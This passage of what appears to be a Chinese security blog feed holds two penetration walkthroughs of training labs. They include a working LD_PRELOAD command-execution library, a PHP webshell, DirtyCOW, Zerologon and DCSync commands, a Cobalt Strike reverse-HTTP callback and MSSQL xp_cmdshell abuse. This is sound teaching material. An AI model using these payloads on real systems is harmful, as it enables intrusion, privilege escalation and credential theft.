class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">define</span> _GNU_SOURCE</span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;stdlib.h&gt;</span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;stdio.h&gt;</span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;string.h&gt;</span></span><br><br><span class="hljs-type">void</span> <span class="hljs-title function_">payload</span><span class="hljs-params">()</span> &#123;<br>    <span class="hljs-type">const</span> <span class="hljs-type">char</span>* cmd = getenv(<span class="hljs-string">&quot;CMD&quot;</span>);<br>    <span class="hljs-keyword">if</span> (cmd) &#123;<br>        system(cmd);<br>        unsetenv(<span class="hljs-string">&quot;CMD&quot;</span>);<br>    &#125;<br>&#125;<br><br><span class="hljs-type">int</span> <span class="hljs-title function_">geteuid</span><span class="hljs-params">()</span> &#123;<br>    <span class="hljs-keyword">if</span> (getenv(<span class="hljs-string">&quot;LD_PRELOAD&quot;</span>) == <span class="hljs-literal">NULL</span>) &#123; <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>; &#125;<br>    unsetenv(<span class="hljs-string">&quot;LD_PRELOAD&quot;</span>);<br>    payload();<br>    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>&#125;<br></code></pre></td></tr></table></figure><p>编译为共享库：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">gcc bypass_payload.c -o bypass.so -shared -fPIC<br></code></pre></td></tr></table></figure><p>创建 webshell <code>bypass.php</code>：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;cmd&#x27;</span>]))&#123;<br>    <span class="hljs-title function_ invoke__">putenv</span>(<span class="hljs-string">&quot;LD_PRELOAD=/tmp/bypass.so&quot;</span>);<br>    <span class="hljs-title function_ invoke__">putenv</span>(<span class="hljs-string">&quot;CMD=&quot;</span> . <span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;cmd&#x27;</span>]);<br>    <span class="hljs-title function_ invoke__">mail</span>(<span class="hljs-string">&quot;&quot;</span>, <span class="hljs-string">&quot;&quot;</span>, <span class="hljs-string">&quot;&quot;</span>, <span class="hljs-string">&quot;&quot;</span>);<br>&#125;<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>上传后通过 <code>http://192.168.111.20/bypass.php?cmd=whoami</code> 成功执行系统命令。</p><h3 id="3-2-DirtyCOW-内核提权-CVE-2016-5195"><a href="#3-2-DirtyCOW-内核提权-CVE-2016-5195" class="headerlink" title="3.2 DirtyCOW 内核提权 (CVE-2016-5195)"></a>3.2 DirtyCOW 内核提权 (CVE-2016-5195)</h3><p>确认系统版本为 Ubuntu 4.4.0-142 内核，存在 DirtyCOW 漏洞。编译并运行提权 exploit：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">gcc dirty.c -o dirty -pthread -lcrypt<br>./dirty password123<br></code></pre></td></tr></table></figure><p>等待几秒后，新建的 <code>firefart</code> 用户（uid&#x3D;0）成功写入 <code>/etc/passwd</code>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs bash">su firefart<br><span class="hljs-comment"># 密码: password123</span><br><span class="hljs-built_in">id</span><br><span class="hljs-comment"># uid=0(firefart) gid=0(root) groups=0(root)</span><br></code></pre></td></tr></table></figure><p><strong>成功获取 root 权限！</strong></p><hr><h2 id="四、内网渗透"><a href="#四、内网渗透" class="headerlink" title="四、内网渗透"></a>四、内网渗透</h2><h3 id="4-1-内网探测"><a href="#4-1-内网探测" class="headerlink" title="4.1 内网探测"></a>4.1 内网探测</h3><p>利用 MSF 的 post&#x2F;multi&#x2F;manage&#x2F;autoroute 模块建立内网路由：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs routeros">msf6 &gt; use post/multi/manage/autoroute<br>msf6 &gt; <span class="hljs-built_in">set</span> SESSION 1<br>msf6 &gt; <span class="hljs-built_in">run</span><br><br>[+]<span class="hljs-built_in"> Route </span>added <span class="hljs-keyword">to</span> subnet 192.168.93.0/24<br>[+]<span class="hljs-built_in"> Route </span>added <span class="hljs-keyword">to</span> subnet 192.168.153.0/24<br></code></pre></td></tr></table></figure><p>通过 MSF 的 UDP 探测模块发现内网存活主机：</p><ul><li>192.168.93.10 — 域控 (WIN-8GA56TNV3MV)</li><li>192.168.93.20 — Windows Server 2008</li><li>192.168.93.30 — Windows 7</li></ul><h3 id="4-2-横向移动-—-Windows-7"><a href="#4-2-横向移动-—-Windows-7" class="headerlink" title="4.2 横向移动 — Windows 7"></a>4.2 横向移动 — Windows 7</h3><p>通过弱口令扫描发现 192.168.93.30 的 SMB 管理员凭据复用：</p><table><thead><tr><th>主机</th><th>用户名</th><th>密码</th></tr></thead><tbody><tr><td>192.168.93.30</td><td>administrator</td><td>123qwe!ASD</td></tr></tbody></table><p>使用 MSF 的 psexec 模块拿下 Windows 7：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs routeros">msf6 &gt; use exploit/windows/smb/psexec<br>msf6 &gt; <span class="hljs-built_in">set</span> RHOSTS 192.168.93.30<br>msf6 &gt; <span class="hljs-built_in">set</span> SMBUser administrator<br>msf6 &gt; <span class="hljs-built_in">set</span> SMBPass 123qwe!ASD<br>msf6 &gt; <span class="hljs-built_in">set</span> payload windows/x64/meterpreter/bind_tcp<br>msf6 &gt; <span class="hljs-built_in">run</span><br><br>[*] Sending stage (248902 bytes) <span class="hljs-keyword">to</span> 192.168.93.30<br>[*] Meterpreter session 2 opened<br></code></pre></td></tr></table></figure><p>信息收集确认：</p><table><thead><tr><th>项目</th><th>值</th></tr></thead><tbody><tr><td>主机名</td><td>WIN7</td></tr><tr><td>域</td><td>TEST</td></tr><tr><td>DNS</td><td>192.168.93.10</td></tr><tr><td>IP</td><td>192.168.93.30</td></tr></tbody></table><h3 id="4-3-凭证提取"><a href="#4-3-凭证提取" class="headerlink" title="4.3 凭证提取"></a>4.3 凭证提取</h3><p>通过 <code>hashdump</code> 提取本地管理员哈希：</p><figure class="highlight llvm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs llvm">Administrator:<span class="hljs-number">500</span>:aad<span class="hljs-number">3</span>b<span class="hljs-number">435</span>b<span class="hljs-number">51404</span>eeaad<span class="hljs-number">3</span>b<span class="hljs-number">435</span>b<span class="hljs-number">51404</span>ee:<span class="hljs-number">31</span><span class="hljs-keyword">c</span><span class="hljs-number">1794</span><span class="hljs-keyword">c</span><span class="hljs-number">5</span>aa<span class="hljs-number">8547</span><span class="hljs-keyword">c</span><span class="hljs-number">87</span>a<span class="hljs-number">8</span>bcd<span class="hljs-number">0324</span>b<span class="hljs-number">8337</span><br></code></pre></td></tr></table></figure><p>尝试 Pass The Hash 打域控失败（不同密码），于是使用 mimikatz 检测 Zerologon 漏洞。</p><hr><h2 id="五、域控沦陷-—-Zerologon-DCSync"><a href="#五、域控沦陷-—-Zerologon-DCSync" class="headerlink" title="五、域控沦陷 — Zerologon + DCSync"></a>五、域控沦陷 — Zerologon + DCSync</h2><h3 id="5-1-检测-Zerologon-漏洞"><a href="#5-1-检测-Zerologon-漏洞" class="headerlink" title="5.1 检测 Zerologon 漏洞"></a>5.1 检测 Zerologon 漏洞</h3><p>在 win7 的 meterpreter 会话中，通过 mimikatz 的 lsadump::zerologon 模块检测域控：</p><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs nix">meterpreter <span class="hljs-operator">&gt;</span> kiwi_cmd lsadump::zerologon <span class="hljs-operator">/</span>target:WIN-<span class="hljs-number">8</span>GA56TNV3MV.test.org <span class="hljs-operator">/</span>account:WIN-<span class="hljs-number">8</span>GA56TNV3MV$ <span class="hljs-symbol">/exploit</span><br><br><span class="hljs-params">NetrServerAuthenticate2:</span> <span class="hljs-number">0</span>x00000000<br><span class="hljs-params">NetrServerPasswordSet2 :</span> <span class="hljs-number">0</span>x00000000<br><span class="hljs-operator">*</span> <span class="hljs-params">Authentication:</span> OK <span class="hljs-operator">-</span>- vulnerable<br><span class="hljs-operator">*</span> Set <span class="hljs-params">password  :</span> OK<br></code></pre></td></tr></table></figure><p><strong>Zerologon (CVE-2020-1472) 存在，域控机器账户密码已重置为空！</strong></p><h3 id="5-2-DCSync-提取域管理员哈希"><a href="#5-2-DCSync-提取域管理员哈希" class="headerlink" title="5.2 DCSync 提取域管理员哈希"></a>5.2 DCSync 提取域管理员哈希</h3><p>利用重置为空密码的机器账户，通过 DCSync 攻击获取域管理员哈希：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash">meterpreter &gt; kiwi_cmd lsadump::dcsync /domain:test.org /dc:WIN-8GA56TNV3MV.test.org /user:administrator /authuser:WIN-8GA56TNV3MV$ /authdomain:<span class="hljs-built_in">test</span> /authpassword:<br><br>** SAM ACCOUNT **<br>SAM Username         : Administrator<br>Hash NTLM: 18edd0cc3227be3bf61ce198835a1d97<br></code></pre></td></tr></table></figure><h3 id="5-3-拿下域控"><a href="#5-3-拿下域控" class="headerlink" title="5.3 拿下域控"></a>5.3 拿下域控</h3><p>使用得到的管理员 NTLM Hash，通过 impacket 的 wmiexec.py 登录域控：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs bash">proxychains4 python3 /usr/share/doc/python3-impacket/examples/wmiexec.py \<br>  -hashes :18edd0cc3227be3bf61ce198835a1d97 \<br>  TEST/administrator@192.168.93.10<br></code></pre></td></tr></table></figure><p>成功获取域控 shell，读取 Flag：</p><figure class="highlight moonscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs moonscript"><span class="hljs-name">C</span>:\Users\Administrator\Documents\flag.txt<br><span class="hljs-number">5</span>a6239835a5a7e5e88d6f4d54dda2468<br></code></pre></td></tr></table></figure><hr><h2 id="六、攻击链总结"><a href="#六、攻击链总结" class="headerlink" title="六、攻击链总结"></a>六、攻击链总结</h2><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs mipsasm">configuration.php~ 泄露<br>    → 数据库密码获取<br>    → <span class="hljs-keyword">Joomla </span>后台登录 + webshell<br>    → LD_PRELOAD 绕过 <span class="hljs-keyword">disable_functions</span><br><span class="hljs-keyword"></span>    → <span class="hljs-keyword">DirtyCOW </span>内核提权 (root)<br>    → 内网扫描 + PSExec 横向<br>    → Zerologon 重置 DC 密码<br>    → DCSync 提取域管理员哈希<br>    → PTH + WMIEXEC 登录域控<br>    → 获取 Flag ✓<br></code></pre></td></tr></table></figure><hr><h2 id="七、修复建议"><a href="#七、修复建议" class="headerlink" title="七、修复建议"></a>七、修复建议</h2><table><thead><tr><th>漏洞</th><th>危害</th><th>修复方案</th></tr></thead><tbody><tr><td>configuration.php~ 备份泄露</td><td>高</td><td>禁止 Web 访问 *.php~ 备份文件</td></tr><tr><td>Disable_functions 不完整</td><td>中</td><td>禁用 putenv&#x2F;mail 函数或使用 disable_classes</td></tr><tr><td>DirtyCOW (CVE-2016-5195)</td><td>高</td><td>升级 Linux 内核至 4.8+</td></tr><tr><td>弱口令 123qwe!ASD</td><td>高</td><td>使用复杂密码，开启账户锁定策略</td></tr><tr><td>Zerologon (CVE-2020-1472)</td><td>严重</td><td>安装 KB4557222 补丁</td></tr><tr><td>相同密码复用</td><td>高</td><td>不同主机使用不同密码</td></tr></tbody></table><hr><p><em>记录于 2026年7月12日</em></p>]]>
    </content>
    <id>http://82.156.189.140:8085/2026/07/12/hr3/</id>
    <link href="http://82.156.189.140:8085/2026/07/12/hr3/"/>
    <published>2026-07-12T02:23:26.000Z</published>
    <summary>
      <![CDATA[<h1 id="红日靶场3（Red-Sun-Lab-3）渗透全记录"><a href="#红日靶场3（Red-Sun-Lab-3）渗透全记录" class="headerlink" title="红日靶场3（Red Sun Lab 3）渗透全记录"></a>红日靶场3（Red S]]>
    </summary>
    <title>红日靶场三</title>
    <updated>2026-07-18T03:15:21.942Z</updated>
  </entry>
  <entry>
    <author>
      <name>fortuneh2c</name>
    </author>
    <category term="题解" scheme="http://82.156.189.140:8085/categories/%E9%A2%98%E8%A7%A3/"/>
    <category term="CTF" scheme="http://82.156.189.140:8085/tags/CTF/"/>
    <category term="Writeup" scheme="http://82.156.189.140:8085/tags/Writeup/"/>
    <content>
      <![CDATA[<h1 id="暗月靶场项目三复盘：从外网入口到内网-MSSQL-命令执行"><a href="#暗月靶场项目三复盘：从外网入口到内网-MSSQL-命令执行" class="headerlink" title="暗月靶场项目三复盘：从外网入口到内网 MSSQL 命令执行"></a>暗月靶场项目三复盘：从外网入口到内网 MSSQL 命令执行</h1><p>这次打的是暗月靶场项目三。整体链路不是单点漏洞，而是从外网 Web 漏洞开始，逐步拿到后台、写入 WebShell、进入内网，再利用内网 MSSQL 弱口令和 <code>xp_cmdshell</code> 获得命令执行权限。</p><p>当前已经走通的链路可以概括为：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs text">TomExam SQL 注入<br>-&gt; 跨库读取 jspXCMS 管理员凭据<br>-&gt; 登录 jspXCMS 后台<br>-&gt; 后台站点文件管理上传 JSP<br>-&gt; web1 WebShell<br>-&gt; 内网发现<br>-&gt; MSSQL 弱口令 sa/admin123<br>-&gt; xp_cmdshell 命令执行<br>-&gt; 发现域环境 sec123.cnk<br></code></pre></td></tr></table></figure><h2 id="外网入口"><a href="#外网入口" class="headerlink" title="外网入口"></a>外网入口</h2><p>外网入口主机是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">192.168.111.20<br>hostname: web1<br></code></pre></td></tr></table></figure><p>后续确认这台机器有双网卡：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">192.168.111.20/24<br>192.168.112.20/24<br></code></pre></td></tr></table></figure><p>也就是说，<code>web1</code> 不只是外网入口，同时也是进入 <code>192.168.112.0/24</code> 内网段的跳板。</p><p>一开始看过第一个系统的 SQL 注入，但这个点不能跨库查询，也不能直接 getshell，所以没有继续浪费时间。真正有价值的入口是 TomExam 的 SQL 注入。</p><p>TomExam 注入点：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">/page.do?action=comm_news&amp;act=list&amp;classid=2<br></code></pre></td></tr></table></figure><p>布尔判断现象很明确：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">classid=2 and 1=1  -&gt; 页面有正常数据<br>classid=2 and 1=2  -&gt; 页面无数据<br></code></pre></td></tr></table></figure><p>这个注入点可以跨库查询，所以后面用它去读 jspXCMS 的管理员数据。</p><h2 id="跨库读取-jspXCMS-管理员"><a href="#跨库读取-jspXCMS-管理员" class="headerlink" title="跨库读取 jspXCMS 管理员"></a>跨库读取 jspXCMS 管理员</h2><p>通过 TomExam SQL 注入跨库读到了 jspXCMS 的管理员账号信息。</p><p>已知管理员账号：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">username: admin<br>password: zzz123zzz<br></code></pre></td></tr></table></figure><p>对应 hash 和 salt：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">hash: 51c52ae56562d8c538600385909595b009467f0b<br>salt: 9b2b38ad7cb62fd9<br></code></pre></td></tr></table></figure><p>jspXCMS 的密码算法也确认过，大致是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">SHA1(salt + password)，然后对二进制 digest 做 1024 轮 SHA1<br></code></pre></td></tr></table></figure><p>后台地址：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">/cmscp<br></code></pre></td></tr></table></figure><p>中间试过低权限账号：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">moonsec:123456<br></code></pre></td></tr></table></figure><p>这个账号能登录，但没有 <code>super</code> 角色，访问文件管理会触发 Shiro 权限错误：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">Subject does not have role [super]<br></code></pre></td></tr></table></figure><p>所以最终使用的是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">admin:zzz123zzz<br></code></pre></td></tr></table></figure><h2 id="jspXCMS-后台-getshell"><a href="#jspXCMS-后台-getshell" class="headerlink" title="jspXCMS 后台 getshell"></a>jspXCMS 后台 getshell</h2><p>getshell 走的不是普通上传接口，而是 jspXCMS 后台的站点文件管理。</p><p>关键接口：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">/cmscp/core/web_file_3/upload.do<br></code></pre></td></tr></table></figure><p>关键参数：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">parentId=/jsp<br>file=&lt;jsp file&gt;<br></code></pre></td></tr></table></figure><p>这里踩过一个坑：在 Git Bash 环境下，<code>/jsp</code> 会被 MSYS 自动转换成 Windows 路径，导致服务端收到错误路径。解决方式是在 curl 前加：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">MSYS_NO_PATHCONV=1<br></code></pre></td></tr></table></figure><p>上传成功后，内部路径是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">/jsp/ccshell.jsp<br></code></pre></td></tr></table></figure><p>但由于 jspXCMS 的 JSP 映射规则，外部访问路径变成：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">http://192.168.111.20:8899/ccshell.jsp<br></code></pre></td></tr></table></figure><p>简单 JSP 命令 shell 的参数是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">x<br></code></pre></td></tr></table></figure><p>验证结果：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">http://192.168.111.20:8899/ccshell.jsp?x=whoami<br></code></pre></td></tr></table></figure><p>返回：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">ccok:web1\administrator<br></code></pre></td></tr></table></figure><p>这一步说明已经拿到 <code>web1</code> 上的命令执行，并且权限是本地管理员。</p><h2 id="Godzilla-WebShell"><a href="#Godzilla-WebShell" class="headerlink" title="Godzilla WebShell"></a>Godzilla WebShell</h2><p>后面又上传了 Godzilla JSP shell。</p><p>本地文件：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">E:\wj\anyue3\for.jsp<br></code></pre></td></tr></table></figure><p>远程地址：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">http://192.168.111.20:8899/for.jsp<br></code></pre></td></tr></table></figure><p>Godzilla 配置：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs text">URL: http://192.168.111.20:8899/for.jsp<br>Password: pass<br>Key: 3c6e0b8a9c15224a<br>Payload: JavaDynamicPayload<br>Encryptor: JAVA AES RAW<br>Encoding: UTF-8<br></code></pre></td></tr></table></figure><p>直接访问 <code>for.jsp</code> 页面空白是正常的，因为它不是普通 Web 页面，而是需要 Godzilla 客户端按协议交互。</p><p>Godzilla 代理启动日志：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">Load success start! bindAddr: 127.0.0.1 listenPort: 1080<br></code></pre></td></tr></table></figure><p>这说明本机开了一个 SOCKS 代理：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">socks5://127.0.0.1:1080<br></code></pre></td></tr></table></figure><h2 id="Cobalt-Strike-监听排查"><a href="#Cobalt-Strike-监听排查" class="headerlink" title="Cobalt Strike 监听排查"></a>Cobalt Strike 监听排查</h2><p>Cobalt Strike 的 TeamServer 跑在 WSL 中。监听地址排查过一轮，最终确认这次靶场应该使用本机在靶场网段里的地址：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">192.168.111.25<br></code></pre></td></tr></table></figure><p>有效 Listener 配置：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs text">payload: windows/beacon_http/reverse_http<br>name: http-8080<br>host: 192.168.111.25<br>port: 8080<br></code></pre></td></tr></table></figure><p>之前考虑过 Windows <code>portproxy</code> 和 <code>10.8.0.6</code> 的链路，但本次实际能回连的是 <code>192.168.111.25</code>。后面会话正常回来，证明这个监听地址选择是对的。</p><h2 id="内网发现"><a href="#内网发现" class="headerlink" title="内网发现"></a>内网发现</h2><p>进入 web1 后，开始看内网。</p><p>web1 网卡信息：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">192.168.111.20/24<br>192.168.112.20/24<br></code></pre></td></tr></table></figure><p><code>net view</code> 曾返回 <code>6118</code>，这个错误不能说明内网没有主机，只能说明浏览列表不可用，可能是服务、权限或防火墙限制。</p><p>通过扫描和验证，发现真实内网主机：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs text">IP: 192.168.112.23<br>MAC: 00-50-56-B1-C4-EE<br>Open ports: 80, 445, 1433<br></code></pre></td></tr></table></figure><p>通过 Godzilla SOCKS 扫描时遇到过假阳性，例如 <code>192.168.112.1</code> 显示大量端口开放。这个结果不可信，判断是代理行为导致的误报。后面主要以从 web1 直接探测到的结果为准。</p><h2 id="MSSQL-弱口令和-xp-cmdshell"><a href="#MSSQL-弱口令和-xp-cmdshell" class="headerlink" title="MSSQL 弱口令和 xp_cmdshell"></a>MSSQL 弱口令和 xp_cmdshell</h2><p><code>192.168.112.23</code> 的 MSSQL 端口开放：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">192.168.112.23:1433<br></code></pre></td></tr></table></figure><p>已知凭据：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">username: sa<br>password: admin123<br></code></pre></td></tr></table></figure><p>这里需要注意，<code>sa/admin123</code> 是 MSSQL 凭据，不是 Windows 系统账号。所以不能拿它去做 Cobalt Strike 的 <code>spawnas</code>。</p><p>之前试过类似：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">spawnas 192.168.112.23\sa admin123 http-8080<br></code></pre></td></tr></table></figure><p>结果失败 <code>1326</code>，原因就是凭据类型错了。</p><p>为方便操作 MSSQL，写了一个辅助脚本：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">E:\wj\anyue3\mssql_xpcmd_webshell.py<br></code></pre></td></tr></table></figure><p>脚本逻辑是：通过 web1 上的 JSP 命令 shell 执行 PowerShell，再由 web1 去连接 <code>192.168.112.23</code> MSSQL，启用并调用 <code>xp_cmdshell</code>。</p><p>默认参数：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs text">--shell    http://192.168.111.20:8899/ccshell.jsp<br>--server   192.168.112.23<br>--user     sa<br>--password admin123<br>--cmd      whoami<br></code></pre></td></tr></table></figure><p>验证命令：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd">python mssql_xpcmd_webshell.py --<span class="hljs-built_in">cmd</span> whoami<br></code></pre></td></tr></table></figure><p>返回：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">ccok:nt service\mssqlserver<br></code></pre></td></tr></table></figure><p>这说明：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">MSSQL xp_cmdshell 可用<br>执行身份是 nt service\mssqlserver<br></code></pre></td></tr></table></figure><p>也确认过该身份具备：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">SeImpersonatePrivilege<br></code></pre></td></tr></table></figure><p>从漏洞影响角度，这一步已经很关键：外网入口最终导致内网 MSSQL 主机命令执行。</p><h2 id="server2012-和域环境信息"><a href="#server2012-和域环境信息" class="headerlink" title="server2012 和域环境信息"></a>server2012 和域环境信息</h2><p>在 <code>.23</code> 上执行 <code>ipconfig /all</code> 后，虽然中文输出乱码，但关键信息已经能看出来。</p><p>主机信息：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs text">hostname: server2012<br>primary DNS suffix: sec123.cnk<br>DNS suffix search list: sec123.cnk<br></code></pre></td></tr></table></figure><p>网卡信息：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs text">Ethernet0:<br>  IPv4: 192.168.112.23/24<br>  MAC: 00-50-56-B1-C4-EE<br>  Gateway: empty<br><br>Ethernet1:<br>  IPv4: 10.10.10.136/24<br>  MAC: 00-50-56-B1-6E-80<br>  DNS: 10.10.10.139<br>  Gateway: empty<br></code></pre></td></tr></table></figure><p>因此 <code>.23</code> 也是双网卡主机：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">192.168.112.0/24<br>10.10.10.0/24<br></code></pre></td></tr></table></figure><p>域信息：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">domain: sec123.cnk<br>DNS/DC candidate: 10.10.10.139<br></code></pre></td></tr></table></figure><p><code>10.10.10.139</code> 高概率是域控或至少是域内 DNS。</p><h2 id="访问域控共享的结果"><a 